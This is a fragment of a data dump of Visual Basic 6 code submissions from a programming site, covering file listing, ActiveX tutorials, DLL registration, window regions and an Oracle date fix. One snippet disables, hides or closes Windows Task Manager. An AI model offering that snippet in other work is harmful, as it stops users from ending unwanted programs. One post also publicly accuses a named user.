FindFile(Optional ByVal sFol As String, Optional ByVal NumberFiles As Long, Optional ByVal fp As vaSpread)\n Dim CurFile As File\n Dim CurFolder As Folder\n Dim NFiles As Long\n \n Set ParFolder = fso.GetFolder(sFol)\n NFiles = ParFolder.Files.Count\n If NFiles > 0 Then\n For Each CurFile In ParFolder.Files\n Filelist(n) = CurFile.Path 'STORE THE FILE IN ARRAY\n fp.SetText 1, n, Filelist(n)\n n = n + 1 'INCREASE COUNTER BY 1\n Next\n End If\n \n For Each CurFolder In ParFolder.SubFolders 'IF SUBFOLDERS OF CURRENT FOLDER ARE THERE\n FindFile CurFolder, , fp 'call itself to get the files of subfolders\n Next\n \nEnd Function\n'---------------------------------------------------------------------------------------\n' Procedure : Public Function FindNoFiles(ByVal sFol As String)\n' DateTime : April 8th 2003, 3:48 PM\n' Author : Anumeet Soni\n' Purpose : Gets the number of files, in a specified folder\n' and all its subfolders(using FileSystemObject)\n' using Microsoft Scripting Runtime\n'---------------------------------------------------------------------------------------\nPublic Function FindNoFiles(ByVal sFol As String)\n Dim tFld As Folder\n \n Set ParFolder = fso.GetFolder(sFol)\n FindNoFiles = ParFolder.Files.Count\n \n If ParFolder.SubFolders.Count > 0 Then\n For Each tFld In ParFolder.SubFolders\n FindNoFiles = FindNoFiles + FindNoFiles(tFld.Path)\n Next\n End If\n \nEnd Function\n"},{"WorldId":1,"id":44635,"LineNumber":1,"line":"The biggest problem with trying to make ActiveX controls shareware or trialware is knowing when the control is in the IDE. All of the methods require knowing which IDE you are in. Each IDE can have a different name, executable and class. This method allows you throw the NAG screen at the proper time regardless of the IDE. Use the property bag! Set up two properties called UserName and SerialNumber. If these properties are not populated with the proper information, you are in trial mode. The attached code demonstrates how to set up a control using the property bag and a license file and you never have to worry about the IDE again."},{"WorldId":1,"id":44646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44656,"LineNumber":1,"line":"Good Morning and welcome to the first instalment in this ActiveX control tutorial.\nI'm your amazingly geeky host Karl ΓÇö and it's my job to ensure your ride on the Visual Basic train to ActiveX control land is an exciting one. Well, maybe just a slight-amusing one. Hmm, perhaps just a ride.\nBut don't let my pair of glass-bottle-bottom spectacles fool you - this isn't just a journey for mega-geeks.\nWhatever Visual Basic programming experience you may have, learning about the wonderful world of ActiveX could improve your career, your bank balance and your love life*.\n* (Love life claims based solely on life-long research by author Karl Moore and his numerous worldwide cyber-girlfriends)\nToday, we'll be:\nGetting the low-down on ActiveX components \nFinding out the difference between ActiveX components and ActiveX controls \nDiscussing a few nerdy things (too boring to mention) \nAnd... <drum roll> ... we'll be creating our own ActiveX control! \nI know you're excited ΓÇö but please, hold it in.\nSo without further ado, let's tootle off into the magical realms of ActiveX...\nWhat's the difference between a horse trainer and a tailor? One tends a mare and one mends a tear!\nAnd now for another belly-chuckler - what's the difference between an ActiveX component and an ActiveX control?\nOK, not quite a dinner party puzzler but still an important point. Let's take a look at what exactly an ActiveX component is... and is not.\nAn ActiveX component is just a general term, encompassing:\nAn ActiveX EXE \nAn ActiveX DLL \nAn ActiveX Control \nAn ActiveX component is not:\nActive, in any way, shape or form \nA source of fibre that can help you lose weight as part of a calorie controlled diet \nSo what exactly are ActiveX EXEs and DLLs? Basically, they're chunks of code you use in your Visual Basic projects just by setting a reference to them ΓÇö a little like how you set a reference to DAO or ADO when you need access to a database.\nBut that's another department completely... more to the point, just what are ActiveX controls?\nWell, you might not know this, but you already have experience of ActiveX controls. You've used them, tweaked them and tossed them to one side ΓÇö all in the course of a days work. Ohhhh yes.\nIndeed, every time you set the Text property of a Text Box, you're utilising an ActiveX control. Every time you respond to the Click event of a Command Button, you're utilising an ActiveX control. Every time you run the MoveNext method of the Data control, you're utilising an ActiveX control.\nI think you get the picture. In essence, an ActiveX control is anything you might see in the Toolbox.\nTop Tip: Don't forget that you can also add more controls to the Toolbox by selecting Projects, Components\nBut how can all this background information help in everyday programming life?\nWell, with the advent of Visual Basic 5 and, more recently Visual Basic 6, supercool geeky-types have been able to create their very own ActiveX controls.\nSo perhaps you could create your own groovy text box control that only allows the user to input numbers. Or perhaps just text. Or perhaps text and numbers, but no spaces.\nMaybe you'd like to create a company-wide Exit button that flashes every time you hover your mouse over it. Sure, it might be about as useful as a pencil sharpener in the bullring, but it'd look good.\nOther slightly more practical uses include creating a standardised Save dialog box. Or a lighter-weight version of the MSChart control. Or a plain but simple replacement for the InputBox() function. Or perhaps an intelligent scrollable window that displays a picture you pass it. Or a new and improved combo box. Or maybe just something else.\nThen, when you need to use that groovy flashing Exit button, you simply draw it onto your form, just as you would any standard control. You could then set its MyControl.Forecolor property, and perhaps respond to its MyControl_Click event by adding a bit of code. You could even execute one of its' methods every now and then, such as MyControl.FlashAnimation.\nThe difference here is that you, as a productive, presentable, professional, pragmatic programmer, created the control. And as such, you dictate when the MyControl_Click event fires. Or how the MyControl.FlashAnimation method works. Or in which way the MyControl.ForeColor property is implemented ΓÇö is the user presented with a text list of just four colours or the standard colour selection panel?\nWe'll be covering all this and more in this series. But for now, let's jump in at the deep end and knock out our very first ActiveX control!\nNow, brace yourself as we prepare to create our own ActiveX control.\nWe're going to create a little option button that flashes a few times when you run a certain method. It's not overly useful, but could help grab a user's attention.\nStart Visual Basic \nCreate a New 'ActiveX Control' project \nA grey box should appear on your screen. This is your workspace ΓÇö it's basically a form without a border, caption or minimize/maximise/close buttons.\nAnd that makes sense, after all when did you last use a control that has its own close button?\nFirst off, let's rename our ActiveX control:\nChange the Name property of UserControl1 to 'Flasher' \nNow change the Name property of Project1 to 'Animation' \nExcellent! Now...\nDouble-click on the Option Button control in the toolbox \nRemove the Caption property of the Option Button \nChange its Name property to 'optFlasher' \nWe've just added an Option Button to the workspace. Now let's add the Timer control:\nDouble-click on the Timer control \nChange its Name property to 'tmrAnimation' \nThat's great. Now I want you to resize a few of the things on your screen. We'll be doing all this resizing in code later on, but for now:\nMove the Option Button to the very top left, so it just touches the corner edges of your workspace like this: \n\nNow resize the workspace so it just touches the bottom edges of your Option Button like this: \n\nNow the stuff you currently see in your workspace will become your 'control', the thing your user sees when adding it to their forms.\nHmm, it's about time we added some code. Not much, just a lil'.\nEnter the code window by selecting View, Code \nType in the following code: \nPublic Sub Flash()\n tmrAnimation.Interval = 300\nEnd Sub\nThis just sets the Interval property of tmrAnimation to around a third-of-a-second (300 milliseconds). When the Timer springs into action every 300-milliseconds, it fires its Timer event.\nSo let's add code to that...\nIn the Object drop-down list (which currently says General), select 'tmrAnimation' \nThe Procedure drop-down list next to it should say 'Timer' ΓÇö if not, select the 'Timer' event from the list \nYour screen should look a little like this at the moment:\n\nTap in the following code: \nStatic NoOfFlashes As Integer\n ' This is just a variable that holds\n ' a number - the 'Static' prefix just\n ' means it doesn't forget its value\n ' when this procedure is over...\n \n optFlasher.Value = Not (optFlasher.Value)\n ' Sets the value of our Option Button\n ' to the opposite of its current value...\n ' so if it's \"on\", it'll be turned off -\n ' and vice versa\n NoOfFlashes = NoOfFlashes + 1\n ' Increment the variable to show number\n ' of times we have \"flashed\"\n If NoOfFlashes = 8 Then\n ' If we've had eight separate flashes so far\n \n NoOfFlashes = 0\n ' Reset the NoOfFlashes...\n \n tmrAnimation.Interval = 0\n ' ... and turn off the timer\n \n End If\nThat's it! You've completed the creation of your first ActiveX control.\nNow let's put it to the test...\n\nLet's see what all that hard work has given us.\nClick File, Add Project \nSelect 'Standard EXE' and click Open \nNow we have two different projects open at the same time; our control and this new Standard EXE thing we've just created.\nLet's add our new control to the Standard EXE now.\nDrag out the Flasher control () on your toolbar onto Form1, like this: \n\nTop Tip: If your Flasher control is greyed-out... it means your copy of Visual Basic has been attacked by huge killer bees from the terrifying jungles of Outer Mongolia or you haven't closed the workspace of your control. Hmm, probably the latter actually. Close the workspace and try again!\nSee how your Option Button appears?\nLook in the Properties window. Can you see all the Properties your control already has? A Name property, TabIndex, ToolTipText... and more! These are all assigned by default.\nNow...\nAdd a Command Button to the form \nPlace the following code behind it: \nFlasher1.Flash\nThe method you've just tapped in is the one we coded!\nWhen we added the 'Public Sub Flash' code, it's automatically turned into one heckuva groovy method!\nTry hitting F5 and running your application. Now hit the Command Button! See what happens?\nThe Option Button should flash for a few seconds... great for highlighting a warning of some sort. But not so great at anything else.\nThis week, we've taken a brief tour of ActiveX controls. We found out exactly what they are and how they fit into the world of ActiveX components.\nWe even created our own basic, if not slightly useless ActiveX control!\nNext week, we'll be getting even geekier; we'll be learning more about creating our own Methods... as well as covering Properties and Events.\nSo don't miss it... out next week at a newsagent near you.\nBut until then, this is your fantabulous host, Karl Moore, saying goodnight for tonight. Goodnight!\n"},{"WorldId":1,"id":44660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46705,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim str1 as String\nstr1=Inputbox(\"Enter some thing\")\nIf Strptr(str1)<>0 then\n'code for click of ok button\nMsgbox \"OK CLICKED\"\nElseif Strptr(str1)=0 then\n'code for click of cancel button\nMsgbox \"CANCEL CLICKED\"\nEndif\nEnd Sub"},{"WorldId":1,"id":46708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46728,"LineNumber":1,"line":"<h1>INI FILES</h1>\nI was inspired to write this piece of code after I saw a post, here on PSC, that asked people to use the registry instead of INI files. This post can be found here: http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=46726&lngWId=1\nI can't say whether to use the registry or INI files. I personally prefer INI files because :\n<ul>\n<li>they are easier to modify externally by using notepad which is useful for testing the program with different settings</li>\n<li>are very easy to program (see source code)</li>\n<li>and when you want to delete your program, you just delete the project folder and the Ini files are deleted as well; so you don't have to search to delete useless entries in the registry</li></ul>\n\nI use the registry when I want to share information between different applications. For example I save the path where my program is installed in the registry in case I want to install an extension such as a plug-in or an upgrade, I will know where the program can be found by reading that registry value."},{"WorldId":1,"id":46730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46764,"LineNumber":1,"line":"<center><table width= 100% bordercolor = '#1010BA' cellspacing='0' cellpadding='20' border='2'><tr><td>\n<center>\nMake Path/Create Dir<hr color=#1010BA width = 90%> </center><Pre>\nOk, Im fed up, this lamer that calls himself Sherif Rofael needs to be dealt with by P.S.C. \nHe has a grudge because I gave him a poor vote that I thought was genuine, well Im sorry. \nHe decides to do a search and have a little voting spree on my submissions, because he's upset? \nHeres three examples.... \nhttp://www.planet-source-code.com/vb/scripts/showcode.asp?txtCodeId=46681&lngWId=1 \nhttp://planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=46309&lngWId=1 \nhttp://planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=46563&lngWId=1 \nIt has also been brought to my attention that I am not the only one with whom he feels it necessary \nto hit the 'Poor' button whenever he see's one of 'our' submissions. Something needs to be done \nabout him. \nand heres some code..... \nPrivate Declare Function MakeSureDirectoryPathExists Lib "imagehlp.dll" (ByVal lpPath As String) As Long \nMakeSureDirectoryPathExists (strPath) 'Must have backslash on end ie: 'c:\test\a\b\' \n</Pre><center><hr color=#1010BA width = 90%>Formatted with 'Text & Html Formatter'. </td></tr></table></center>"},{"WorldId":1,"id":46770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46775,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function LoadLibraryRegister Lib \"KERNEL32\" Alias \"LoadLibraryA\" (ByVal lpLibFileName As String) As Long\nPrivate Declare Function FreeLibraryRegister Lib \"KERNEL32\" Alias \"FreeLibrary\" (ByVal hLibModule As Long) As Long\nPrivate Declare Function CloseHandle Lib \"KERNEL32\" (ByVal hObject As Long) As Long\nPrivate Declare Function GetProcAddressRegister Lib \"KERNEL32\" Alias \"GetProcAddress\" (ByVal hModule As Long, ByVal lpProcName As String) As Long\nPrivate Declare Function CreateThreadForRegister Lib \"KERNEL32\" Alias \"CreateThread\" (lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpparameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long\nPrivate Declare Function WaitForSingleObject Lib \"KERNEL32\" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long\nPrivate Declare Function GetExitCodeThread Lib \"KERNEL32\" (ByVal hThread As Long, lpExitCode As Long) As Long\nPrivate Declare Sub ExitThread Lib \"KERNEL32\" (ByVal dwExitCode As Long)\nPrivate Const STATUS_WAIT_0 = &H0\nPrivate Const WAIT_OBJECT_0 = ((STATUS_WAIT_0) + 0)\nPrivate Const NOERRORS As Long = 0\nPrivate Enum stRegisterStatus\n stFileCouldNotBeLoadedIntoMemorySpace = 1\n stNotAValidActiveXComponent = 2\n stActiveXComponentRegistrationFailed = 3\n stActiveXComponentRegistrationSuccessful = 4\n stActiveXComponentUnRegisterSuccessful = 5\n stActiveXComponentUnRegistrationFailed = 6\n stNoFileProvided = 7\nEnd Enum\nPublic Function Register(ByVal p_sFileName As String) As Variant\n Dim lLib As Long\n Dim lProcAddress As Long\n Dim lThreadID As Long\n Dim lSuccess As Long\n Dim lExitCode As Long\n Dim lThreadHandle As Long\n Dim lRet As Long\n On Error GoTo ErrorHandler\n If lRet = NOERRORS Then\n If p_sFileName = \"\" Then\n lRet = stNoFileProvided\n End If\n End If\n \n If lRet = NOERRORS Then\n lLib = LoadLibraryRegister(p_sFileName)\n \n If lLib = 0 Then\n lRet = stFileCouldNotBeLoadedIntoMemorySpace\n End If\n End If\n \n If lRet = NOERRORS Then\n lProcAddress = GetProcAddressRegister(lLib, \"DllRegisterServer\")\n If lProcAddress = 0 Then\n lRet = stNotAValidActiveXComponent\n Else\n lThreadHandle = CreateThreadForRegister(0, 0, lProcAddress, 0, 0, lThreadID)\n If lThreadHandle <> 0 Then\n lSuccess = (WaitForSingleObject(lThreadHandle, 10000) = WAIT_OBJECT_0)\n If lSuccess = 0 Then\n Call GetExitCodeThread(lThreadHandle, lExitCode)\n Call ExitThread(lExitCode)\n lRet = stActiveXComponentRegistrationFailed\n Else\n lRet = stActiveXComponentRegistrationSuccessful\n End If\n End If\n End If\n End If\nExitRoutine:\n Register = lRet\n \n If lThreadHandle <> 0 Then\n Call CloseHandle(lThreadHandle)\n End If\n \n If lLib <> 0 Then\n Call FreeLibraryRegister(lLib)\n End If\n Exit Function\n \nErrorHandler:\n lRet = Err.Number\n GoTo ExitRoutine\nEnd Function\nPublic Function UnRegister(ByVal p_sFileName As String) As Variant\n Dim lLib As Long\n Dim lProcAddress As Long\n Dim lThreadID As Long\n Dim lSuccess As Long\n Dim lExitCode As Long\n Dim lThreadHandle As Long\n Dim lRet As Long\n On Error GoTo ErrorHandler\n If lRet = NOERRORS Then\n If p_sFileName = \"\" Then\n lRet = stNoFileProvided\n End If\n End If\n \n If lRet = NOERRORS Then\n lLib = LoadLibraryRegister(p_sFileName)\n \n If lLib = 0 Then\n lRet = stFileCouldNotBeLoadedIntoMemorySpace\n End If\n End If\n \n If lRet = NOERRORS Then\n lProcAddress = GetProcAddressRegister(lLib, \"DllUnregisterServer\")\n If lProcAddress = 0 Then\n lRet = stNotAValidActiveXComponent\n Else\n lThreadHandle = CreateThreadForRegister(0, 0, lProcAddress, 0, 0, lThreadID)\n If lThreadHandle <> 0 Then\n lSuccess = (WaitForSingleObject(lThreadHandle, 10000) = WAIT_OBJECT_0)\n If lSuccess = 0 Then\n Call GetExitCodeThread(lThreadHandle, lExitCode)\n Call ExitThread(lExitCode)\n lRet = stActiveXComponentUnRegistrationFailed\n Else\n lRet = stActiveXComponentUnRegisterSuccessful\n End If\n End If\n End If\n End If\nExitRoutine:\n UnRegister = lRet\n \n If lThreadHandle <> 0 Then\n Call CloseHandle(lThreadHandle)\n End If\n \n If lLib <> 0 Then\n Call FreeLibraryRegister(lLib)\n End If\n Exit Function\n \nErrorHandler:\n lRet = Err.Number\n GoTo ExitRoutine\nEnd Function\n"},{"WorldId":1,"id":46777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46794,"LineNumber":1,"line":"Please download the article."},{"WorldId":1,"id":46800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46912,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46979,"LineNumber":1,"line":"<h2>An easy way to generate non-rectangular window regions</h2>\n<h3>What is this about?</h3>\nThis is a tutorial that demonstrates how to employ regions in order to create non-rectangular windows using VB.\n<h3>Who should read that?</h3>\nIntermediate VB programmers, even confident\nbeginners can understand what the code does. Anyway, I will try to explain\neverything as good as I can in order to minimize any questions.\n<h3>How does it Work?</h3>\nThe theory behind non-rectangular windows is\nsimple. You just ask Windows to paint only a portion of you form. You achieve\nthis by using Regions.\n<h3>What are these Regions?</h3>\nThey come in the form of handles (Long values)\nand they generally describe an area. I know this is not the best definition but\nthis is all we really need to know.\n<h3>Ok, but how do I make a non-rectangular window?</h3>\nYou first have to create a region, and then you\nhave to assign it to a window. From then on any painting (refreshing)\noperations will only occur within this area. The rest of the window will be\ninvisible and you will be able to see whatΓÇÖs behind this area of the window.\nYou can have a window with holes too.\n<h3>OkΓÇªBut how do I make a non-rectangular window?</h3>\nWindows API (donΓÇÖt worry its not hard at all,\nitΓÇÖs pure Windows) provides us with some functions to create regions. There are\nfunctions to create rectangular regions, elliptical regions, rectangular\nregions with rounded corners and polygonal regions. With these functions you\ncan create any region you like. There are also some other functions that allow\nyou to combine these regions in a number of ways. Finally there is this final\nAPI function that assigns this region to your form and makes it change its\nshape.\n<h3>Am I supposed to write a sequence of these API calls to generate my\nRegion at runtime? It sounds like a lot of work to me. Maybe IΓÇÖll stick to the good old VB forms.</h3>\nWhat if there was an easier way? Say, using a\npicture to generate your region, by excluding pixels of a certain color. This\nway you can draw your nice picture in a program such as Paint or PhotoShop,\nassign it to your form and have the region generated and assigned to your\nwindow automatically.\n<h3>How can I create a region from a picture?</h3>\nThis program demonstrates the method. The steps\nare easy to understand. LetΓÇÖs have a look at them:\n<ol>\n <li>Load a picture in a picture box that has its Autosize and Autodraw properties set to True</li>\n <li>Create a rectangular region with the pictureΓÇÖs dimensions using the API call CreateRectRgn\n make sure to pass dimension information in pixels (not twips)</li>\n <li>For each pixel of the picture, check if itΓÇÖs color should be excluded from the region.</li>\n <li>Exclude a pixel of a certain color by creating a one pixel region using CreateRectRgn and passing \n \t the coordinates of that pixel. Then combine the region created on step 2 with this (one-pixel)\n region using the API call CombineRgn passing RGN_XOR as the last parameter. This will exclude the one-pixel\n region from the Rectangular region</li>\n <li>After you have checked all the pixels and excluded those that you do not want\n from the region, you have your final region. You can assign it to your\n window right away by using the API call SetWindowRgn passing the handle of your form (hWnd) and the final\n region.</li>\n</ol>\n<h3>It takes ages to create the region when the picture is big.</h3>\nI know what you mean. There is a way to get the\nfinal region data and save them into a byte array. Then we can pass this array\nto an API function and create that region in an instance. The function to\nretrieve the data from the region is called GetRegionData\nand the one to create the region from the byte array is called ExtCreateRegion\nboth are demonstrated in the demo program.\n<h3>Things get too complicated with these byte arrays and region data. Is\nthere a fast and easy way to do this?</h3>\nThatΓÇÖs why I created this program. All you have\nto do is:\n<ol>\n <li>Click the open button that brings up the well known Open Dialog</li>\n <li>Select a picture that you want to use as region (magenta colored pixels are\n excluded)</li>\n <li>Wait while the region is created</li>\n <li>And finally the program generates the source code needed in order to recreate\n this region in an instance. You can copy and paste this source code from\n the text control provided on the form (or from the file generated in the\n application folder) to your project and call it to create this region in\n an instance. Alternatively you can use the generated binary file. See\n example code for details.</li>\n</ol>\n<h3>That sounds easy. How do I use this code in my own project?</h3>\n<ol>\n<li>Change the BorderStyle of your form to None</li>\n<li>Add a picture box with its AutoSize property set to True and BorderStyle set to None</li>\n<li>Set the picture property of the picture box to the picture you \n used to create the region. (You can skip step 2 and in\n this step you can use the Picture property of the form to do the job, but I\n found that it shrinks WMF files so I use a PictureBox that seems to work fine)</li>\n<li>Copy and Paste the generated code into a module or form</li>\n<li>Call CreateRegion when ready by passing the name of the form as parameter.</li>\n</ol>\n<h3>What can I do with the binary file</h3>\n<ol>\n<li>You can load it at runtime and set the region as demonstrated by the sample program 3</li>\n<li>You can save it as a resource and set it at runtime. I personally prefer the resource \n method because you do not have to load external files, or paste dozens of lines of \n code to do it. Just a few calls and the job is done. Take a look at the\n\tsample program 4 to see how easy it can be.</li>\n</ol>\n<h3>How can I move my form around using the mouse?</h3>\nJust add the following code to process the\nmouse down event of the picture box. You form will behave as if it is being\ndragged by the title bar (if it had one). Change it to process the formΓÇÖs mouse\ndown event if you are using the Form to store your picture instead of a PictureBox \n Private Declare Function SendMessage \"user32\" Alias \"SendMessageA\" (ByVal hWnd\n As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long \nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Const WM_NCLBUTTONDOWN = &HA1 \nPrivate Const HTCAPTION = 2 \n' Add this code to move the form with the mouse \nPrivate Sub pctTest_MouseDown (Button As Integer, Shift As Integer, X As Single,Y As Single) \nReleaseCapture \nSendMessage Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0& \nEnd Sub"},{"WorldId":1,"id":46980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46993,"LineNumber":1,"line":"<h2 style=\"COLOR: midnightblue\">The \"ORA-01843\" Error; How-Not-To </h2> \n┬á\nI have seen many developers (specifically those who deal with ORACLE \nbackends) knocking themselves out (i was one of them) with this strange \nerror while trying to execute an SQL query with a date field in it. \nFor some strange reason, Oracle seems to react with your date format \n'mm/dd/yyyy' (or 'dd/mm/yyyy') and raises this error.\nThe first thing i did, was to check whether the registry value \nHKEY_LOCAL_MACHINE\\Software\\ORACLE\\nls_date_format┬á was of the format \n\"dd/mm/yyyy\".\n And it was!! After i tried many things, i returned to that key and i \nchanged the format. Still nothing. This key seems to have no effect to the way \nORACLE databases handle date values.\nI went back┬áto my source and after the line where my connection┬áto the \nORACLE database was initialized, i wrote :\nstrSQL┬á┬á= \"ALTER SESSION SET NLS_DATE_FORMAT = \n'DD/MM/YYYY'\"\n{The following┬áline applies to Oracle Objects for OLE ( aka OO4O). If \nyou use ADO, RDO, DAO, ODBC API etc etc write it in it's relative format}.\n┬ámyOraDB.ExecuteSQL (strSQL)\n \n \n Guess what ppl. It worked!\nAll my Insert/Update/Delete SQL statements that included a date value where \nproperly inserted into the Oracle database table. No errors so no problems :-)\n"},{"WorldId":1,"id":46994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47001,"LineNumber":1,"line":"Private Sub cmdSysInfo_Click()\n'Will popup a message box displaying your computer name\n MsgBox(environ(\"computername\"))\n'Like that we can get it for the variables like\n 'ALLUSERSPROFILE()\n 'APPDATA()\n 'CommonProgramFiles()\n 'COMPUTERNAME()\n 'ComSpec()\n 'HOMEDRIVE()\n 'HOMEPATH()\n 'LOGONSERVER()\n 'NUMBER_OF_PROCESSORS()\n 'OS()\n 'Os2LibPath()\n 'Path()\n 'PATHEXT()\n 'PROCESSOR_ARCHITECTURE()\n 'PROCESSOR_IDENTIFIER()\n 'PROCESSOR_LEVEL()\n 'PROCESSOR_REVISION()\n 'ProgramFiles()\n 'SystemDrive()\n 'SystemRoot()\n 'TEMP()\n 'TMP()\n 'USERDOMAIN()\n 'USERNAME()\n 'USERPROFILE()\n 'windir()\nEnd Sub\n"},{"WorldId":1,"id":47005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47006,"LineNumber":1,"line":"'Enable windows task manager\nDim x As Long\nx = FindWindow(\"#32770\", vbNullString)\nCall EnableWindow(x, 1)\n'...................................\n\n'Disable windows task manager\nDim x As Long\nx = FindWindow(\"#32770\", vbNullString)\nCall EnableWindow(x, 0)\n'....................................\n'Hide windows task manager\nDim x As Long\nx = FindWindow(\"#32770\", vbNullString)\nCall ShowWindow(x, SW_HIDE)\n'......................................\n'Show windows task manager\nDim x As Long\nx = FindWindow(\"#32770\", vbNullString)\nCall ShowWindow(x, SW_SHOW)\n'...................................\n'Close windows task magager\nDim x As Long\nx = FindWindow(\"#32770\", vbNullString)\nCall SendMessageLong(x, WM_CLOSE, 0&, 0&)\n'.........................................."},{"WorldId":1,"id":47007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47008,"LineNumber":1,"line":"Dim SysListView As Long\nDim SHELLDLLDefView As Long\nDim Progman As Long\nProgman = FindWindow(\"Progman\", vbNullString)\nSHELLDLLDefView = FindWindowEx(Progman, 0, \"SHELLDLL_DefView\", vbNullString)\nSysListView = FindWindowEx(SHELLDLLDefView, 0, \"SysListView32\", vbNullString)\nCall SetParent(SysListView, Me.hWnd)"},{"WorldId":1,"id":46459,"LineNumber":1,"line":"Sorry I couldnt get the article to look \"good\" but you can download the source and the format is crisp and clear.Its only 3 